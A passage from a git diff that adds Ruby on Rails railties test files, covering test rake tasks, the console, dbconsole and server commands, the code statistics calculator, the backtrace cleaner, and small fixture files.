+ suites.each do |suite, directory|
+ directory ||= suite
+ create_fixture_test directory
+ assert_match "3 users", run_task(["test:#{suite}"])
+ Dir.chdir(app_path) { FileUtils.rm_f "test/#{directory}" }
+ end
+ end
+
+ def test_run_with_model
+ create_model_with_fixture
+ create_fixture_test 'models', 'user'
+ assert_match "3 users", run_task(["test models/user"])
+ assert_match "3 users", run_task(["test app/models/user.rb"])
+ end
+
+ def test_run_different_environment_using_env_var
+ app_file 'test/unit/env_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class EnvTest < ActiveSupport::TestCase
+ def test_env
+ puts Rails.env
+ end
+ end
+ RUBY
+
+ ENV['RAILS_ENV'] = 'development'
+ assert_match "development", run_test_command('test/unit/env_test.rb')
+ end
+
+ def test_run_different_environment_using_e_tag
+ env = "development"
+ app_file 'test/unit/env_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class EnvTest < ActiveSupport::TestCase
+ def test_env
+ puts Rails.env
+ end
+ end
+ RUBY
+
+ assert_match env, run_test_command("test/unit/env_test.rb RAILS_ENV=#{env}")
+ end
+
+ def test_generated_scaffold_works_with_rails_test
+ create_scaffold
+ assert_match "0 failures, 0 errors, 0 skips", run_test_command('')
+ end
+
+ private
+ def run_task(tasks)
+ Dir.chdir(app_path) { `bundle exec rake #{tasks.join ' '}` }
+ end
+
+ def run_test_command(arguments = 'test/unit/test_test.rb')
+ run_task ['test', arguments]
+ end
+ %w{ mailers models helpers units controllers functionals integration }.each do |type|
+ define_method("run_test_#{type}_command") do
+ run_task ["test:#{type}"]
+ end
+ end
+
+ def create_model_with_fixture
+ script 'generate model user name:string'
+
+ app_file 'test/fixtures/users.yml', <<-YAML.strip_heredoc
+ vampire:
+ id: 1
+ name: Koyomi Araragi
+ crab:
+ id: 2
+ name: Senjougahara Hitagi
+ cat:
+ id: 3
+ name: Tsubasa Hanekawa
+ YAML
+
+ run_migration
+ end
+
+ def create_fixture_test(path = :unit, name = 'test')
+ app_file "test/#{path}/#{name}_test.rb", <<-RUBY
+ require 'test_helper'
+
+ class #{name.camelize}Test < ActiveSupport::TestCase
+ def test_fixture
+ puts "\#{User.count} users (\#{__FILE__})"
+ end
+ end
+ RUBY
+ end
+
+ def create_schema
+ app_file 'db/schema.rb', ''
+ end
+
+ def redirect_stderr(target_stream)
+ previous_stderr = STDERR.dup
+ $stderr.reopen(target_stream)
+ yield
+ target_stream.rewind
+ ensure
+ $stderr = previous_stderr
+ end
+
+ def create_test_file(path = :unit, name = 'test')
+ app_file "test/#{path}/#{name}_test.rb", <<-RUBY
+ require 'test_helper'
+
+ class #{name.camelize}Test < ActiveSupport::TestCase
+ def test_truth
+ puts "#{name.camelize}Test"
+ assert true
+ end
+ end
+ RUBY
+ end
+
+ def create_scaffold
+ script 'generate scaffold user name:string'
+ Dir.chdir(app_path) { File.exist?('app/models/user.rb') }
+ run_migration
+ end
+
+ def run_migration
+ Dir.chdir(app_path) { `bundle exec rake db:migrate` }
+ end
+ end
+end
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
new file mode 100644
index 0000000..c7ad2fb
--- /dev/null
+++ b/railties/test/application/test_test.rb
@@ -0,0 +1,67 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class TestTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "truth" do
+ app_file 'test/unit/foo_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class FooTest < ActiveSupport::TestCase
+ def test_truth
+ assert true
+ end
+ end
+ RUBY
+
+ run_test_file 'unit/foo_test.rb'
+ end
+
+ test "integration test" do
+ controller 'posts', <<-RUBY
+ class PostsController < ActionController::Base
+ end
+ RUBY
+
+ app_file 'app/views/posts/index.html.erb', <<-HTML
+ Posts#index
+ HTML
+
+ app_file 'test/integration/posts_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class PostsTest < ActionDispatch::IntegrationTest
+ def test_index
+ get '/posts'
+ assert_response :success
+ assert_template "index"
+ end
+ end
+ RUBY
+
+ run_test_file 'integration/posts_test.rb'
+ end
+
+ private
+ def run_test_file(name)
+ result = ruby '-Itest', "#{app_path}/test/#{name}"
+ assert_equal 0, $?.to_i, result
+ end
+
+ def ruby(*args)
+ Dir.chdir(app_path) do
+ `RUBYLIB='#{$:.join(':')}' #{Gem.ruby} #{args.join(' ')}`
+ end
+ end
+ end
+end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
new file mode 100644
index 0000000..0905757
--- /dev/null
+++ b/railties/test/application/url_generation_test.rb
@@ -0,0 +1,45 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class UrlGenerationTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def app
+ Rails.application
+ end
+
+ test "it works" do
+ boot_rails
+ require "rails"
+ require "action_controller/railtie"
+
+ class MyApp < Rails::Application
+ config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+ config.session_store :cookie_store, key: "_myapp_session"
+ config.active_support.deprecation = :log
+ config.eager_load = false
+ end
+
+ MyApp.initialize!
+
+ class ::ApplicationController < ActionController::Base
+ end
+
+ class ::OmgController < ::ApplicationController
+ def index
+ render text: omg_path
+ end
+ end
+
+ MyApp.routes.draw do
+ get "/" => "omg#index", as: :omg
+ end
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get "/"
+ assert_equal "/", last_response.body
+ end
+ end
+end
diff --git a/railties/test/backtrace_cleaner_test.rb b/railties/test/backtrace_cleaner_test.rb
new file mode 100644
index 0000000..2dd74f8
--- /dev/null
+++ b/railties/test/backtrace_cleaner_test.rb
@@ -0,0 +1,24 @@
+require 'abstract_unit'
+require 'rails/backtrace_cleaner'
+
+class BacktraceCleanerVendorGemTest < ActiveSupport::TestCase
+ def setup
+ @cleaner = Rails::BacktraceCleaner.new
+ end
+
+ test "should format installed gems correctly" do
+ @backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+ @result = @cleaner.clean(@backtrace, :all)
+ assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
+ end
+
+ test "should format installed gems not in Gem.default_dir correctly" do
+ @target_dir = Gem.path.detect { |p| p != Gem.default_dir }
+ # skip this test if default_dir is the only directory on Gem.path
+ if @target_dir
+ @backtrace = [ "#{@target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+ @result = @cleaner.clean(@backtrace, :all)
+ assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
+ end
+ end
+end
diff --git a/railties/test/code_statistics_calculator_test.rb b/railties/test/code_statistics_calculator_test.rb
new file mode 100644
index 0000000..b3eabf5
--- /dev/null
+++ b/railties/test/code_statistics_calculator_test.rb
@@ -0,0 +1,288 @@
+require 'abstract_unit'
+require 'rails/code_statistics_calculator'
+
+class CodeStatisticsCalculatorTest < ActiveSupport::TestCase
+ def setup
+ @code_statistics_calculator = CodeStatisticsCalculator.new
+ end
+
+ test 'add statistics to another using #add' do
+ code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
+ @code_statistics_calculator.add(code_statistics_calculator_1)
+
+ assert_equal 1, @code_statistics_calculator.lines
+ assert_equal 2, @code_statistics_calculator.code_lines
+ assert_equal 3, @code_statistics_calculator.classes
+ assert_equal 4, @code_statistics_calculator.methods
+
+ code_statistics_calculator_2 = CodeStatisticsCalculator.new(2, 3, 4, 5)
+ @code_statistics_calculator.add(code_statistics_calculator_2)
+
+ assert_equal 3, @code_statistics_calculator.lines
+ assert_equal 5, @code_statistics_calculator.code_lines
+ assert_equal 7, @code_statistics_calculator.classes
+ assert_equal 9, @code_statistics_calculator.methods
+ end
+
+ test 'accumulate statistics using #add_by_io' do
+ code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
+ @code_statistics_calculator.add(code_statistics_calculator_1)
+
+ code = <<-'CODE'
+ def foo
+ puts 'foo'
+ end
+
+ def bar; end
+ class A; end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 7, @code_statistics_calculator.lines
+ assert_equal 7, @code_statistics_calculator.code_lines
+ assert_equal 4, @code_statistics_calculator.classes
+ assert_equal 6, @code_statistics_calculator.methods
+ end
+
+ test 'calculate statistics using #add_by_file_path' do
+ tmp_path = File.expand_path(File.join(File.dirname(__FILE__), 'fixtures', 'tmp'))
+ FileUtils.mkdir_p(tmp_path)
+
+ code = <<-'CODE'
+ def foo
+ puts 'foo'
+ # bar
+ end
+ CODE
+
+ file_path = "#{tmp_path}/stats.rb"
+ File.open(file_path, 'w') { |f| f.write(code) }
+
+ @code_statistics_calculator.add_by_file_path(file_path)
+
+ assert_equal 4, @code_statistics_calculator.lines
+ assert_equal 3, @code_statistics_calculator.code_lines
+ assert_equal 0, @code_statistics_calculator.classes
+ assert_equal 1, @code_statistics_calculator.methods
+
+ FileUtils.rm_rf(tmp_path)
+ end
+
+ test 'calculate number of Ruby methods' do
+ code = <<-'CODE'
+ def foo
+ puts 'foo'
+ end
+
+ def bar; end
+
+ class Foo
+ def bar(abc)
+ end
+ end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 3, @code_statistics_calculator.methods
+ end
+
+ test 'calculate Ruby LOCs' do
+ code = <<-'CODE'
+ def foo
+ puts 'foo'
+ end
+
+ # def bar; end
+
+ class A < B
+ end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 8, @code_statistics_calculator.lines
+ assert_equal 5, @code_statistics_calculator.code_lines
+ end
+
+ test 'calculate number of Ruby classes' do
+ code = <<-'CODE'
+ class Foo < Bar
+ def foo
+ puts 'foo'
+ end
+ end
+
+ class Z; end
+
+ # class A
+ # end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 2, @code_statistics_calculator.classes
+ end
+
+ test 'skip Ruby comments' do
+ code = <<-'CODE'
+=begin
+ class Foo
+ def foo
+ puts 'foo'
+ end
+ end
+=end
+
+ # class A
+ # end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 10, @code_statistics_calculator.lines
+ assert_equal 0, @code_statistics_calculator.code_lines
+ assert_equal 0, @code_statistics_calculator.classes
+ assert_equal 0, @code_statistics_calculator.methods
+ end
+
+ test 'calculate number of JS methods' do
+ code = <<-'CODE'
+ function foo(x, y, z) {
+ doX();
+ }
+
+ $(function () {
+ bar();
+ })
+
+ var baz = function ( x ) {
+ }
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+ assert_equal 3, @code_statistics_calculator.methods
+ end
+
+ test 'calculate JS LOCs' do
+ code = <<-'CODE'
+ function foo()
+ alert('foo');
+ end
+
+ // var b = 2;
+
+ var a = 1;
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+ assert_equal 7, @code_statistics_calculator.lines
+ assert_equal 4, @code_statistics_calculator.code_lines
+ end
+
+ test 'skip JS comments' do
+ code = <<-'CODE'
+ /*
+ * var f = function () {
+ 1 / 2;
+ }
+ */
+
+ // call();
+ //
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+ assert_equal 8, @code_statistics_calculator.lines
+ assert_equal 0, @code_statistics_calculator.code_lines
+ assert_equal 0, @code_statistics_calculator.classes
+ assert_equal 0, @code_statistics_calculator.methods
+ end
+
+ test 'calculate number of CoffeeScript methods' do
+ code = <<-'CODE'
+ square = (x) -> x * x
+
+ math =
+ cube: (x) -> x * square x
+
+ fill = (container, liquid = "coffee") ->
+ "Filling the #{container} with #{liquid}..."
+
+ $('.shopping_cart').bind 'click', (event) =>
+ @customer.purchase @cart
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+ assert_equal 4, @code_statistics_calculator.methods
+ end
+
+ test 'calculate CoffeeScript LOCs' do
+ code = <<-'CODE'
+ # Assignment:
+ number = 42
+ opposite = true
+
+ ###
+ CoffeeScript Compiler v1.4.0
+ Released under the MIT License
+ ###
+
+ # Conditions:
+ number = -42 if opposite
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+ assert_equal 11, @code_statistics_calculator.lines
+ assert_equal 3, @code_statistics_calculator.code_lines
+ end
+
+ test 'calculate number of CoffeeScript classes' do
+ code = <<-'CODE'
+ class Animal
+ constructor: (@name) ->
+
+ move: (meters) ->
+ alert @name + " moved #{meters}m."
+
+ class Snake extends Animal
+ move: ->
+ alert "Slithering..."
+ super 5
+
+ # class Horse
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+ assert_equal 2, @code_statistics_calculator.classes
+ end
+
+ test 'skip CoffeeScript comments' do
+ code = <<-'CODE'
+###
+class Animal
+ constructor: (@name) ->
+
+ move: (meters) ->
+ alert @name + " moved #{meters}m."
+ ###
+
+ # class Horse
+ alert 'hello'
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+ assert_equal 10, @code_statistics_calculator.lines
+ assert_equal 1, @code_statistics_calculator.code_lines
+ assert_equal 0, @code_statistics_calculator.classes
+ assert_equal 0, @code_statistics_calculator.methods
+ end
+end
diff --git a/railties/test/commands/console_test.rb b/railties/test/commands/console_test.rb
new file mode 100644
index 0000000..a34beae
--- /dev/null
+++ b/railties/test/commands/console_test.rb
@@ -0,0 +1,142 @@
+require 'abstract_unit'
+require 'env_helpers'
+require 'rails/commands/console'
+
+class Rails::ConsoleTest < ActiveSupport::TestCase
+ include EnvHelpers
+
+ class FakeConsole
+ def self.start; end
+ end
+
+ def test_sandbox_option
+ console = Rails::Console.new(app, parse_arguments(["--sandbox"]))
+ assert console.sandbox?
+ end
+
+ def test_short_version_of_sandbox_option
+ console = Rails::Console.new(app, parse_arguments(["-s"]))
+ assert console.sandbox?
+ end
+
+ def test_debugger_option
+ console = Rails::Console.new(app, parse_arguments(["--debugger"]))
+ assert console.debugger?
+ end
+
+ def test_no_options
+ console = Rails::Console.new(app, parse_arguments([]))
+ assert !console.debugger?
+ assert !console.sandbox?
+ end
+
+ def test_start
+ FakeConsole.expects(:start)
+ start
+ assert_match(/Loading \w+ environment \(Rails/, output)
+ end
+
+ def test_start_with_debugger
+ rails_console = Rails::Console.new(app, parse_arguments(["--debugger"]))
+ rails_console.expects(:require_debugger).returns(nil)
+
+ silence_stream(STDOUT) { rails_console.start }
+ end
+
+ def test_start_with_sandbox
+ app.expects(:sandbox=).with(true)
+ FakeConsole.expects(:start)
+
+ start ["--sandbox"]
+
+ assert_match(/Loading \w+ environment in sandbox \(Rails/, output)
+ end
+
+ def test_console_with_environment
+ start ["-e production"]
+ assert_match(/\sproduction\s/, output)
+ end
+
+ def test_console_defaults_to_IRB
+ app = build_app(console: nil)
+ assert_equal IRB, Rails::Console.new(app).console
+ end
+
+ def test_default_environment_with_no_rails_env
+ with_rails_env nil do
+ start
+ assert_match(/\sdevelopment\s/, output)
+ end
+ end
+
+ def test_default_environment_with_rails_env
+ with_rails_env 'special-production' do
+ start
+ assert_match(/\sspecial-production\s/, output)
+ end
+ end
+
+ def test_default_environment_with_rack_env
+ with_rack_env 'production' do
+ start
+ assert_match(/\sproduction\s/, output)
+ end
+ end
+
+ def test_e_option
+ start ['-e', 'special-production']
+ assert_match(/\sspecial-production\s/, output)
+ end
+
+ def test_environment_option
+ start ['--environment=special-production']
+ assert_match(/\sspecial-production\s/, output)
+ end
+
+ def test_rails_env_is_production_when_first_argument_is_p
+ start ['p']
+ assert_match(/\sproduction\s/, output)
+ end
+
+ def test_rails_env_is_test_when_first_argument_is_t
+ start ['t']
+ assert_match(/\stest\s/, output)
+ end
+
+ def test_rails_env_is_development_when_argument_is_d
+ start ['d']
+ assert_match(/\sdevelopment\s/, output)
+ end
+
+ def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
+ Rails::Console.stubs(:available_environments).returns(['dev'])
+ options = Rails::Console.parse_arguments(['dev'])
+ assert_match('dev', options[:environment])
+ end
+
+ attr_reader :output
+ private :output
+
+ private
+
+ def start(argv = [])
+ rails_console = Rails::Console.new(app, parse_arguments(argv))
+ @output = capture(:stdout) { rails_console.start }
+ end
+
+ def app
+ @app ||= build_app(console: FakeConsole)
+ end
+
+ def build_app(config)
+ config = mock("config", config)
+ app = mock("app", config: config)
+ app.stubs(:sandbox=).returns(nil)
+ app.expects(:load_console)
+ app
+ end
+
+ def parse_arguments(args)
+ Rails::Console.parse_arguments(args)
+ end
+end
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
new file mode 100644
index 0000000..edb92b3
--- /dev/null
+++ b/railties/test/commands/dbconsole_test.rb
@@ -0,0 +1,207 @@
+require 'abstract_unit'
+require 'rails/commands/dbconsole'
+
+class Rails::DBConsoleTest < ActiveSupport::TestCase
+ def teardown
+ %w[PGUSER PGHOST PGPORT PGPASSWORD].each{|key| ENV.delete(key)}
+ end
+
+ def test_config
+ Rails::DBConsole.const_set(:APP_PATH, "erb")
+
+ app_config({})
+ capture_abort { Rails::DBConsole.new.config }
+ assert aborted
+ assert_match(/No database is configured for the environment '\w+'/, output)
+
+ app_config(test: "with_init")
+ assert_equal Rails::DBConsole.new.config, "with_init"
+
+ app_db_file("test:\n without_init")
+ assert_equal Rails::DBConsole.new.config, "without_init"
+
+ app_db_file("test:\n <%= Rails.something_app_specific %>")
+ assert_equal Rails::DBConsole.new.config, "with_init"
+
+ app_db_file("test:\n\ninvalid")
+ assert_equal Rails::DBConsole.new.config, "with_init"
+ end
+
+ def test_env
+ assert_equal Rails::DBConsole.new.environment, "test"
+
+ ENV['RAILS_ENV'] = nil
+ ENV['RACK_ENV'] = nil
+
+ Rails.stubs(:respond_to?).with(:env).returns(false)
+ assert_equal Rails::DBConsole.new.environment, "development"
+
+ ENV['RACK_ENV'] = "rack_env"
+ assert_equal Rails::DBConsole.new.environment, "rack_env"
+
+ ENV['RAILS_ENV'] = "rails_env"
+ assert_equal Rails::DBConsole.new.environment, "rails_env"
+ ensure
+ ENV['RAILS_ENV'] = "test"
+ end
+
+ def test_rails_env_is_development_when_argument_is_dev
+ Rails::DBConsole.stubs(:available_environments).returns(['development', 'test'])
+ options = Rails::DBConsole.new.send(:parse_arguments, ['dev'])
+ assert_match('development', options[:environment])
+ end
+
+ def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
+ Rails::DBConsole.stubs(:available_environments).returns(['dev'])
+ options = Rails::DBConsole.new.send(:parse_arguments, ['dev'])
+ assert_match('dev', options[:environment])
+ end
+
+ def test_mysql
+ dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], 'db')
+ start(adapter: 'mysql', database: 'db')
+ assert !aborted
+ end
+
+ def test_mysql_full
+ dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--host=locahost', '--port=1234', '--socket=socket', '--user=user', '--default-character-set=UTF-8', '-p', 'db')
+ start(adapter: 'mysql', database: 'db', host: 'locahost', port: 1234, socket: 'socket', username: 'user', password: 'qwerty', encoding: 'UTF-8')
+ assert !aborted
+ end
+
+ def test_mysql_include_password
+ dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--user=user', '--password=qwerty', 'db')
+ start({adapter: 'mysql', database: 'db', username: 'user', password: 'qwerty'}, ['-p'])
+ assert !aborted
+ end
+
+ def test_postgresql
+ dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+ start(adapter: 'postgresql', database: 'db')
+ assert !aborted
+ end
+
+ def test_postgresql_full
+ dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+ start(adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3', host: 'host', port: 5432)
+ assert !aborted
+ assert_equal 'user', ENV['PGUSER']
+ assert_equal 'host', ENV['PGHOST']
+ assert_equal '5432', ENV['PGPORT']
+ assert_not_equal 'q1w2e3', ENV['PGPASSWORD']
+ end
+
+ def test_postgresql_include_password
+ dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+ start({adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3'}, ['-p'])
+ assert !aborted
+ assert_equal 'user', ENV['PGUSER']
+ assert_equal 'q1w2e3', ENV['PGPASSWORD']
+ end
+
+ def test_sqlite
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite', 'db')
+ start(adapter: 'sqlite', database: 'db')
+ assert !aborted
+ end
+
+ def test_sqlite3
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite3', Rails.root.join('db.sqlite3').to_s)
+ start(adapter: 'sqlite3', database: 'db.sqlite3')
+ assert !aborted
+ end
+
+ def test_sqlite3_mode
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-html', Rails.root.join('db.sqlite3').to_s)
+ start({adapter: 'sqlite3', database: 'db.sqlite3'}, ['--mode', 'html'])
+ assert !aborted
+ end
+
+ def test_sqlite3_header
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-header', Rails.root.join('db.sqlite3').to_s)
+ start({adapter: 'sqlite3', database: 'db.sqlite3'}, ['--header'])
+ end
+
+ def test_sqlite3_db_absolute_path
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '/tmp/db.sqlite3')
+ start(adapter: 'sqlite3', database: '/tmp/db.sqlite3')
+ assert !aborted
+ end
+
+ def test_sqlite3_db_without_defined_rails_root
+ Rails.stubs(:respond_to?)
+ Rails.expects(:respond_to?).with(:root).once.returns(false)
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite3', Rails.root.join('../config/db.sqlite3').to_s)
+ start(adapter: 'sqlite3', database: 'config/db.sqlite3')
+ assert !aborted
+ end
+
+ def test_oracle
+ dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user at db')
+ start(adapter: 'oracle', database: 'db', username: 'user', password: 'secret')
+ assert !aborted
+ end
+
+ def test_oracle_include_password
+ dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user/secret at db')
+ start({adapter: 'oracle', database: 'db', username: 'user', password: 'secret'}, ['-p'])
+ assert !aborted
+ end
+
+ def test_unknown_command_line_client
+ start(adapter: 'unknown', database: 'db')
+ assert aborted
+ assert_match(/Unknown command-line client for db/, output)
+ end
+
+ def test_print_help_short
+ stdout = capture(:stdout) do
+ start({}, ['-h'])
+ end
+ assert aborted
+ assert_equal '', output
+ assert_match(/Usage:.*dbconsole/, stdout)
+ end
+
+ def test_print_help_long
+ stdout = capture(:stdout) do
+ start({}, ['--help'])
+ end
+ assert aborted
+ assert_equal '', output
+ assert_match(/Usage:.*dbconsole/, stdout)
+ end
+
+ attr_reader :aborted, :output
+ private :aborted, :output
+
+ private
+
+ def dbconsole
+ @dbconsole ||= Rails::DBConsole.new(nil)
+ end
+
+ def start(config = {}, argv = [])
+ dbconsole.stubs(config: config.stringify_keys, arguments: argv)
+ capture_abort { dbconsole.start }
+ end
+
+ def capture_abort
+ @aborted = false
+ @output = capture(:stderr) do
+ begin
+ yield
+ rescue SystemExit
+ @aborted = true
+ end
+ end
+ end
+
+ def app_db_file(result)
+ IO.stubs(:read).with("config/database.yml").returns(result)
+ end
+
+ def app_config(result)
+ Rails.application.config.stubs(:database_configuration).returns(result.stringify_keys)
+ end
+end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
new file mode 100644
index 0000000..cb57b3c
--- /dev/null
+++ b/railties/test/commands/server_test.rb
@@ -0,0 +1,42 @@
+require 'abstract_unit'
+require 'env_helpers'
+require 'rails/commands/server'
+
+class Rails::ServerTest < ActiveSupport::TestCase
+ include EnvHelpers
+
+ def test_environment_with_server_option
+ args = ["thin", "-e", "production"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal 'production', options[:environment]
+ assert_equal 'thin', options[:server]
+ end
+
+ def test_environment_without_server_option
+ args = ["-e", "production"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal 'production', options[:environment]
+ assert_nil options[:server]
+ end
+
+ def test_server_option_without_environment
+ args = ["thin"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_nil options[:environment]
+ assert_equal 'thin', options[:server]
+ end
+
+ def test_environment_with_rails_env
+ with_rails_env 'production' do
+ server = Rails::Server.new
+ assert_equal 'production', server.options[:environment]
+ end
+ end
+
+ def test_environment_with_rack_env
+ with_rack_env 'production' do
+ server = Rails::Server.new
+ assert_equal 'production', server.options[:environment]
+ end
+ end
+end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
new file mode 100644
index 0000000..2442cb9
--- /dev/null
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -0,0 +1,60 @@
+require 'active_support/testing/autorun'
+require 'rails/configuration'
+require 'active_support/test_case'
+require 'minitest/mock'
+
+module Rails
+ module Configuration
+ class MiddlewareStackProxyTest < ActiveSupport::TestCase
+ def setup
+ @stack = MiddlewareStackProxy.new
+ end
+
+ def test_playback_insert_before
+ @stack.insert_before :foo
+ assert_playback :insert_before, :foo
+ end
+
+ def test_playback_insert_after
+ @stack.insert_after :foo
+ assert_playback :insert_after, :foo
+ end
+
+ def test_playback_swap
+ @stack.swap :foo
+ assert_playback :swap, :foo
+ end
+
+ def test_playback_use
+ @stack.use :foo
+ assert_playback :use, :foo
+ end
+
+ def test_playback_delete
+ @stack.delete :foo
+ assert_playback :delete, :foo
+ end
+
+ def test_order
+ @stack.swap :foo
+ @stack.delete :foo
+
+ mock = MiniTest::Mock.new
+ mock.expect :send, nil, [:swap, :foo]
+ mock.expect :send, nil, [:delete, :foo]
+
+ @stack.merge_into mock
+ mock.verify
+ end
+
+ private
+
+ def assert_playback(msg_name, args)
+ mock = MiniTest::Mock.new
+ mock.expect :send, nil, [msg_name, args]
+ @stack.merge_into(mock)
+ mock.verify
+ end
+ end
+ end
+end
diff --git a/railties/test/engine_test.rb b/railties/test/engine_test.rb
new file mode 100644
index 0000000..7970913
--- /dev/null
+++ b/railties/test/engine_test.rb
@@ -0,0 +1,14 @@
+require 'abstract_unit'
+
+class EngineTest < ActiveSupport::TestCase
+ test "reports routes as available only if they're actually present" do
+ engine = Class.new(Rails::Engine) do
+ def initialize(*args)
+ @routes = nil
+ super
+ end
+ end
+
+ assert !engine.routes?
+ end
+end
diff --git a/railties/test/env_helpers.rb b/railties/test/env_helpers.rb
new file mode 100644
index 0000000..6223c85
--- /dev/null
+++ b/railties/test/env_helpers.rb
@@ -0,0 +1,26 @@
+module EnvHelpers
+ private
+
+ def with_rails_env(env)
+ switch_env 'RAILS_ENV', env do
+ switch_env 'RACK_ENV', nil do
+ yield
+ end
+ end
+ end
+
+ def with_rack_env(env)
+ switch_env 'RACK_ENV', env do
+ switch_env 'RAILS_ENV', nil do
+ yield
+ end
+ end
+ end
+
+ def switch_env(key, value)
+ old, ENV[key] = ENV[key], value
+ yield
+ ensure
+ ENV[key] = old
+ end
+end
diff --git a/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml b/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml
new file mode 100644
index 0000000..fe80872
--- /dev/null
+++ b/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml
@@ -0,0 +1 @@
+# an empty YAML file - any content in here seems to get parsed as a string
\ No newline at end of file
diff --git a/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb b/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb
new file mode 100644
index 0000000..d4262f8
--- /dev/null
+++ b/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb
@@ -0,0 +1 @@
+# intentionally empty
\ No newline at end of file
diff --git a/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb b/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb
new file mode 100644
index 0000000..d4262f8
--- /dev/null
+++ b/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb
@@ -0,0 +1 @@
+# intentionally empty
\ No newline at end of file
diff --git a/railties/test/fixtures/lib/create_test_dummy_template.rb b/railties/test/fixtures/lib/create_test_dummy_template.rb
new file mode 100644
index 0000000..e4378bb
--- /dev/null
+++ b/railties/test/fixtures/lib/create_test_dummy_template.rb
@@ -0,0 +1 @@
+create_dummy_app("spec/dummy")
diff --git a/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb b/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
new file mode 100644
index 0000000..a7d079a
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
@@ -0,0 +1,8 @@
+require 'rails/generators/active_record'
+
+module ActiveRecord
+ module Generators
+ class FixjourGenerator < Base
+ end
+ end
+end
diff --git a/railties/test/fixtures/lib/generators/fixjour_generator.rb b/railties/test/fixtures/lib/generators/fixjour_generator.rb
new file mode 100644
index 0000000..ef3e9ed
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/fixjour_generator.rb
@@ -0,0 +1,2 @@
+class FixjourGenerator < Rails::Generators::NamedBase
+end
diff --git a/railties/test/fixtures/lib/generators/model_generator.rb b/railties/test/fixtures/lib/generators/model_generator.rb
new file mode 100644
index 0000000..9098a8a
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/model_generator.rb
@@ -0,0 +1 @@
+raise "I should never be loaded"
\ No newline at end of file
diff --git a/railties/test/fixtures/lib/generators/usage_template/USAGE b/railties/test/fixtures/lib/generators/usage_template/USAGE
new file mode 100644
index 0000000..bcd63c5
--- /dev/null
